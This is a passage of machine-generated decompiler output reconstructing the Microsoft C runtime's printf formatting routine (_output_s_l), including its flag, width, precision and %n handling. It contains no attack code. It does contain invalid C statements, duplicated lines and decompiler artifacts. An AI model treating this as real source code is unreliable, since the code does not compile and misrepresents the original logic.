														L17:
														switch( *((intOrPtr*)( *(_t557 - 0x318) * 4 +  &M00435520))) {
															case 0:
																L18:
																 *(_t557 - 0xc) = 0;
																_t509 = E004311D0( *(_t557 - 0x251) & 0x000000ff, E0041AE00(_t557 - 0x40));
																_t562 = _t559 + 8;
																__eflags = _t509;
																if(_t509 == 0) {
																	L24:
																	E00435630( *(_t557 - 0x251) & 0x000000ff,  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																	_t559 = _t562 + 0xc;
																	goto L218;
																} else {
																	E00435630( *((intOrPtr*)(_t557 + 8)),  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																	_t562 = _t562 + 0xc;
																	_t541 =  *( *(_t557 + 0xc));
																	 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
																	_t547 =  *(_t557 + 0xc) + 1;
																	__eflags = _t547;
																	 *(_t557 + 0xc) = _t547;
																	asm("sbb eax, eax");
																	 *(_t557 - 0x27c) =  ~( ~( *(_t557 - 0x251)));
																	if(_t547 == 0) {
																		_push(L"(ch != _T(\'\\0\'))");
																		_push(0);
																		_push(0x486);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		_t521 = L0041E330();
																		_t562 = _t562 + 0x14;
																		__eflags = _t521 - 1;
																		if(_t521 == 1) {
																			asm("int3");
																		}
																	}
																	L22:
																	__eflags =  *(_t557 - 0x27c);
																	if( *(_t557 - 0x27c) != 0) {
																		goto L24;
																	} else {
																		 *((intOrPtr*)(L00422E20(_t541))) = 0x16;
																		E00422BB0(_t528, _t541, _t555, _t556, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																		 *(_t557 - 0x2f4) = 0xffffffff;
																		E0041ADD0(_t557 - 0x40);
																		_t499 =  *(_t557 - 0x2f4);
																		goto L229;
																	}
																}
															case 1:
																L25:
																 *(__ebp - 0x2c) = 0;
																__edx =  *(__ebp - 0x2c);
																 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																__eax =  *(__ebp - 0x28);
																 *(__ebp - 0x18) =  *(__ebp - 0x28);
																__ecx =  *(__ebp - 0x18);
																 *(__ebp - 0x1c) = __ecx;
																 *(__ebp - 0x10) = 0;
																 *(__ebp - 0x30) = 0xffffffff;
																 *(__ebp - 0xc) = 0;
																goto L218;
															case 2:
																L26:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																__eflags =  *(__ebp - 0x31c) - 0x10;
																if( *(__ebp - 0x31c) > 0x10) {
																	goto L33;
																}
																L27:
																__ecx =  *(__ebp - 0x31c);
																_t72 = __ecx + 0x435558; // 0x498d04
																__edx =  *_t72 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t72 & 0x000000ff) * 4 +  &M00435540))) {
																	case 0:
																		goto L30;
																	case 1:
																		goto L31;
																	case 2:
																		goto L29;
																	case 3:
																		goto L28;
																	case 4:
																		goto L32;
																	case 5:
																		goto L33;
																}
															case 3:
																L34:
																__edx =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__eax =  *(__ebp - 0x18);
																	__eax =  *(__ebp - 0x18) * 0xa;
																	__eflags = __eax;
																	__ecx =  *((char*)(__ebp - 0x251));
																	_t96 = __ecx - 0x30; // -48
																	__edx = __eax + _t96;
																	 *(__ebp - 0x18) = __eax + _t96;
																} else {
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x18) = E00428310(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x18);
																	if( *(__ebp - 0x18) < 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000004;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	}
																}
																goto L218;
															case 4:
																L40:
																 *(__ebp - 0x30) = 0;
																goto L218;
															case 5:
																L41:
																__eax =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__edx =  *(__ebp - 0x30);
																	__edx =  *(__ebp - 0x30) * 0xa;
																	__eflags = __edx;
																	_t107 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																	__ecx = __edx + _t107;
																	 *(__ebp - 0x30) = __ecx;
																} else {
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x30) = E00428310(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) < 0) {
																		 *(__ebp - 0x30) = 0xffffffff;
																	}
																}
																goto L218;
															case 6:
																L47:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																__eflags =  *(__ebp - 0x320) - 0x2e;
																if( *(__ebp - 0x320) > 0x2e) {
																	L70:
																	goto L218;
																}
																L48:
																__ecx =  *(__ebp - 0x320);
																_t115 = __ecx + 0x435580; // 0x4d8e9003
																__edx =  *_t115 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t115 & 0x000000ff) * 4 +  &M0043556C))) {
																	case 0:
																		L53:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x36;
																		if( *( *(__ebp + 0xc)) != 0x36) {
																			L56:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x33;
																			if( *( *(__ebp + 0xc)) != 0x33) {
																				L59:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x64;
																				if( *( *(__ebp + 0xc)) == 0x64) {
																					L65:
																					L67:
																					goto L70;
																				}
																				L60:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x69;
																				if( *__ecx == 0x69) {
																					goto L65;
																				}
																				L61:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x6f;
																				if(__ecx == 0x6f) {
																					goto L65;
																				}
																				L62:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x75;
																				if( *( *(__ebp + 0xc)) == 0x75) {
																					goto L65;
																				}
																				L63:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x78;
																				if( *__ecx == 0x78) {
																					goto L65;
																				}
																				L64:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x58;
																				if(__ecx != 0x58) {
																					 *(__ebp - 0x25c) = 0;
																					goto L18;
																				}
																				goto L65;
																			}
																			L57:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *((char*)(__ecx + 1));
																			__eflags =  *((char*)(__ecx + 1)) - 0x32;
																			if( *((char*)(__ecx + 1)) != 0x32) {
																				goto L59;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																				 *(__ebp - 0x10) = __ecx;
																				goto L67;
																			}
																		}
																		L54:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x34;
																		if( *((char*)(__ecx + 1)) != 0x34) {
																			goto L56;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00008000;
																			 *(__ebp - 0x10) = __ecx;
																			goto L67;
																		}
																	case 1:
																		L68:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		goto L70;
																	case 2:
																		L49:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x6c;
																		if(__ecx != 0x6c) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000010;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		}
																		goto L70;
																	case 3:
																		L69:
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																		goto L70;
																	case 4:
																		goto L70;
																}
															case 7:
																L71:
																__ecx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x324) = __ecx;
																 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																__eflags =  *(__ebp - 0x324) - 0x37;
																if( *(__ebp - 0x324) > 0x37) {
																	while(1) {
																		L190:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L216;
																		}
																		goto L191;
																	}
																}
																L72:
																_t156 =  *(__ebp - 0x324) + 0x4355ec; // 0xcccccc0d
																__ecx =  *_t156 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M004355B0))) {
																	case 0:
																		L123:
																		 *(__ebp - 0x2c) = 1;
																		__ecx =  *((char*)(__ebp - 0x251));
																		__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																		__eflags = __ecx;
																		 *((char*)(__ebp - 0x251)) = __cl;
																		goto L124;
																	case 1:
																		L73:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																		}
																		goto L75;
																	case 2:
																		L88:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		}
																		goto L90;
																	case 3:
																		L147:
																		 *(__ebp - 0x260) = 7;
																		L148:
																		 *(__ebp - 8) = 0x10;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			 *(__ebp - 0x14) = 0x30;
																			 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																			__eflags =  *(__ebp - 0x260) + 0x51;
																			 *((char*)(__ebp - 0x13)) = __al;
																			 *(__ebp - 0x1c) = 2;
																		}
																		goto L153;
																	case 4:
																		L81:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x288) = E00428310(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x288);
																		if( *(__ebp - 0x288) == 0) {
																			L83:
																			__edx =  *0x440f80; // 0x404478
																			 *(__ebp - 4) = __edx;
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DDD0( *(__ebp - 4));
																			L87:
																			goto L190;
																		}
																		L82:
																		__ecx =  *(__ebp - 0x288);
																		__eflags =  *(__ecx + 4);
																		if( *(__ecx + 4) != 0) {
																			L84:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																			__eflags =  *(__ebp - 0x10) & 0x00000800;
																			if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																				 *(__ebp - 0xc) = 0;
																				__edx =  *(__ebp - 0x288);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x288);
																				__edx =  *__ecx;
																				 *(__ebp - 0x24) =  *__ecx;
																			} else {
																				__edx =  *(__ebp - 0x288);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x288);
																				__eax =  *__ecx;
																				asm("cdq");
																				 *__ecx - __edx =  *__ecx - __edx >> 1;
																				 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																				 *(__ebp - 0xc) = 1;
																			}
																			goto L87;
																		}
																		goto L83;
																	case 5:
																		L124:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		__eax = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		 *(__ebp - 0x44) = 0x200;
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) >= 0) {
																			L126:
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) != 0) {
																				L129:
																				__eflags =  *(__ebp - 0x30) - 0x200;
																				if( *(__ebp - 0x30) > 0x200) {
																					 *(__ebp - 0x30) = 0x200;
																				}
																				L131:
																				__eflags =  *(__ebp - 0x30) - 0xa3;
																				if( *(__ebp - 0x30) > 0xa3) {
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x20) = L0041B870(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																					__eflags =  *(__ebp - 0x20);
																					if( *(__ebp - 0x20) == 0) {
																						 *(__ebp - 0x30) = 0xa3;
																					} else {
																						__eax =  *(__ebp - 0x20);
																						 *(__ebp - 4) =  *(__ebp - 0x20);
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																					}
																				}
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				__eax =  *(__ebp + 0x14);
																				__ecx =  *(__eax - 8);
																				__edx =  *(__eax - 4);
																				 *(__ebp - 0x2a8) =  *(__eax - 8);
																				 *(__ebp - 0x2a4) =  *(__eax - 4);
																				__ecx = __ebp - 0x40;
																				_push(E0041AE00(__ebp - 0x40));
																				__eax =  *(__ebp - 0x2c);
																				_push( *(__ebp - 0x2c));
																				__ecx =  *(__ebp - 0x30);
																				_push( *(__ebp - 0x30));
																				__edx =  *((char*)(__ebp - 0x251));
																				_push( *((char*)(__ebp - 0x251)));
																				__eax =  *(__ebp - 0x44);
																				_push( *(__ebp - 0x44));
																				__ecx =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__edx = __ebp - 0x2a8;
																				_push(__ebp - 0x2a8);
																				__eax =  *0x440374; // 0xf9b80f80
																				__eax =  *__eax();
																				__esp = __esp + 0x1c;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																					__eflags =  *(__ebp - 0x30);
																					if( *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AE00(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0xfe6faf80
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__ecx =  *((char*)(__ebp - 0x251));
																				__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																				if( *((char*)(__ebp - 0x251)) == 0x67) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AE00(__ebp - 0x40));
																						__eax =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__ecx =  *0x44037c; // 0xfe6d6f80
																						E00424670(__ecx) =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__edx =  *(__ebp - 4);
																				__eax =  *( *(__ebp - 4));
																				__eflags =  *( *(__ebp - 4)) - 0x2d;
																				if( *( *(__ebp - 4)) == 0x2d) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					__edx =  *(__ebp - 4);
																					__edx =  *(__ebp - 4) + 1;
																					__eflags = __edx;
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DDD0( *(__ebp - 4));
																				do {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				} while ( *(__ebp - 0x324) > 0x37);
																				goto L72;
																			}
																			L127:
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags = __ecx - 0x67;
																			if(__ecx != 0x67) {
																				goto L129;
																			}
																			L128:
																			 *(__ebp - 0x30) = 1;
																			goto L131;
																		}
																		L125:
																		 *(__ebp - 0x30) = 6;
																		goto L131;
																	case 6:
																		L75:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																		__eflags =  *(__ebp - 0x10) & 0x00000810;
																		if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																			__ebp + 0x14 = E00428310(__ebp + 0x14);
																			 *(__ebp - 0x284) = __ax;
																			__cl =  *(__ebp - 0x284);
																			 *(__ebp - 0x248) = __cl;
																			 *(__ebp - 0x24) = 1;
																		} else {
																			 *(__ebp - 0x280) = 0;
																			__edx = __ebp + 0x14;
																			__eax = E00428350(__ebp + 0x14);
																			 *(__ebp - 0x258) = __ax;
																			__eax =  *(__ebp - 0x258) & 0x0000ffff;
																			__ecx = __ebp - 0x248;
																			__edx = __ebp - 0x24;
																			 *(__ebp - 0x280) = E004341E0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																			__eflags =  *(__ebp - 0x280);
																			if( *(__ebp - 0x280) != 0) {
																				 *(__ebp - 0x28) = 1;
																			}
																		}
																		__edx = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		while(1) {
																			L190:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	case 7:
																		L144:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 8) = 0xa;
																		L153:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E00428310(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x2b8) = __eax;
																						 *(__ebp - 0x2b4) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428310(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x2b8) = __eax;
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E00428310(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																						 *(__ebp - 0x2b4) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428310(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x2b8) = __eax;
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00428330(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x2b8) = E00428330(__ebp + 0x14);
																			 *(__ebp - 0x2b4) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L170;
																		}
																	case 8:
																		L109:
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x298) = E00428310(__ebp + 0x14);
																		__eax = E00433EC0();
																		__eflags = __eax;
																		if(__eax != 0) {
																			L119:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				__edx =  *(__ebp - 0x298);
																				__eax =  *(__ebp - 0x24c);
																				 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																			} else {
																				__eax =  *(__ebp - 0x298);
																				 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																			}
																			 *(__ebp - 0x28) = 1;
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		}
																		L110:
																		__edx = 0;
																		__eflags = 0;
																		if(0 == 0) {
																			 *(__ebp - 0x32c) = 0;
																		} else {
																			 *(__ebp - 0x32c) = 1;
																		}
																		__eax =  *(__ebp - 0x32c);
																		 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																		__eflags =  *(__ebp - 0x29c);
																		if( *(__ebp - 0x29c) == 0) {
																			_push(L"(\"\'n\' format specifier disabled\", 0)");
																			_push(0);
																			_push(0x695);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			__eax = L0041E330();
																			__esp = __esp + 0x14;
																			__eflags = __eax - 1;
																			if(__eax == 1) {
																				asm("int3");
																			}
																		}
																		__eflags =  *(__ebp - 0x29c);
																		if( *(__ebp - 0x29c) != 0) {
																			L118:
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		} else {
																			L117:
																			 *((intOrPtr*)(L00422E20(__ecx))) = 0x16;
																			__eax = E00422BB0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																			 *(__ebp - 0x2f8) = 0xffffffff;
																			__ecx = __ebp - 0x40;
																			__eax = E0041ADD0(__ecx);
																			__eax =  *(__ebp - 0x2f8);
																			goto L229;
																		}
																	case 9:
																		L151:
																		 *(__ebp - 8) = 8;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000200;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		while(1) {
																			L153:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00428310(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428310(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00428310(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																							 *(__ebp - 0x2b4) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428310(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00428330(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00428330(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L170;
																			}
																			goto L166;
																		}
																	case 0xa:
																		L146:
																		 *(__ebp - 0x30) = 8;
																		goto L147;
																	case 0xb:
																		L90:
																		__eflags =  *(__ebp - 0x30) - 0xffffffff;
																		if( *(__ebp - 0x30) != 0xffffffff) {
																			__edx =  *(__ebp - 0x30);
																			 *(__ebp - 0x328) =  *(__ebp - 0x30);
																		} else {
																			 *(__ebp - 0x328) = 0x7fffffff;
																		}
																		__eax =  *(__ebp - 0x328);
																		 *(__ebp - 0x290) =  *(__ebp - 0x328);
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 4) = E00428310(__ebp + 0x14);
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																		__eflags =  *(__ebp - 0x10) & 0x00000810;
																		if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																			L101:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																			}
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x28c) =  *(__ebp - 4);
																			while(1) {
																				L104:
																				__ecx =  *(__ebp - 0x290);
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					break;
																				}
																				L105:
																				__eax =  *(__ebp - 0x28c);
																				__ecx =  *( *(__ebp - 0x28c));
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					break;
																				}
																				L106:
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																			}
																			L107:
																			__eax =  *(__ebp - 0x28c);
																			__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
																			__eflags = __eax;
																			 *(__ebp - 0x24) = __eax;
																			goto L108;
																		} else {
																			L94:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__eax =  *0x440f84; // 0x404468
																				 *(__ebp - 4) = __eax;
																			}
																			 *(__ebp - 0xc) = 1;
																			__ecx =  *(__ebp - 4);
																			 *(__ebp - 0x294) =  *(__ebp - 4);
																			while(1) {
																				L97:
